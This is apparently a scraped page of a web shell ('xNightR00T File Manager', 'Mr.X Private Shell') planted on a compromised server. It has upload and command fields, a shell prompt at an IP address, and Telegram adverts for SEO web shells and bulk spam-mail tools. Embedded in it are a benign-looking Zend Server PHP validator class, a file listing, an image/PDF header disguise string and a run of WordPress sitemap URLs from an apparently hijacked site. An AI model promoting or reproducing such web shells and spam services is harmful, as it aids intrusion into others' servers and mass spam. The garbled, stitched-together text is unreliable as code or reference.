xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php

namespace Vhost\Validator;

use Zend\Validator\AbstractValidator;
use Vhost\Entity\Vhost;
use ZendServer\Log\Log;

class VhostValidForDeploy extends AbstractValidator
{
    const VIRTUAL_HOST_MISSING          = 'virtualHostMissing';
    const VIRTUAL_HOST_NOT_ZEND_DEFINED = 'virtualHostNotZendDefined';
    const VIRTUAL_HOST_IN_ERROR         = 'virtualHostInError';

    /**
     * @var \Vhost\Mapper\Vhost
     */
    private $vhostMapper;

    public function __construct($options = null)
    {
        parent::__construct($options);

        $this->abstractOptions['messageTemplates'] = array(
            self::VIRTUAL_HOST_IN_ERROR => "Virtual host configuration error detected",
            self::VIRTUAL_HOST_MISSING => "Virtual host '%value%' does not exist",
            self::VIRTUAL_HOST_NOT_ZEND_DEFINED => "Virtual host is manually defined and cannot be managed by Zend Server",
        );
    }
    /* (non-PHPdoc)
     * @see \Zend\Validator\ValidatorInterface::isValid()
     */

    public function isValid($value)
    {
        $this->setValue($value);

        $vhost = $this->getVhostMapper()->getVhostByName($value);
        if ($vhost === false || is_null($vhost)) {
            $this->error(self::VIRTUAL_HOST_MISSING);
            return false;
        }

        if (!$vhost->isManagedByZend()) {
            $this->error(self::VIRTUAL_HOST_NOT_ZEND_DEFINED);
            return false;
        }

        $vhostId    = $vhost->getId();
        $vhostNodes = $this->getVhostMapper()->getSingleVhostNodes($vhostId);
        foreach ($vhostNodes as $vhostNode) { /* @var $vhostNode VhostNode */
            if ($vhostNode->getStatus() == Vhost::STATUS_ERROR) {
                $this->error(self::VIRTUAL_HOST_IN_ERROR);
                return false;
            }
        }

        return true;
    }

    /**
     * @return \Vhost\Mapper\Vhost
     */
    public function getVhostMapper()
    {
        return $this->vhostMapper;
    }

    /**
     * @param \Vhost\Mapper\Vhost $vhostMapper
     */
    public function setVhostMapper($vhostMapper)
    {
        $this->vhostMapper = $vhostMapper;
    }
}

Filemanager

Name Type Size Permission Actions
VhostValidForDeploy.php File 2.09 KB 0644
VhostValidForRedeploy.php File 681 B 0644
Σ(゚Д゚;≡;゚д゚)duo❤️a@$%^🥰&%PDF-0-1
https://vn-gateway.com/en/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-post-1.xmlhttps://vn-gateway.com/en/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-posts-page-1.xmlhttps://vn-gateway.com/wp-sitemap-posts-elementor_library-1.xmlhttps://vn-gateway.com/en/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-taxonomies-category-1.xmlhttps://vn-gateway.com/en/wp-sitemap-users-1.xmlhttps://vn-gateway.com/ja/wp-sitemap-users-1.xml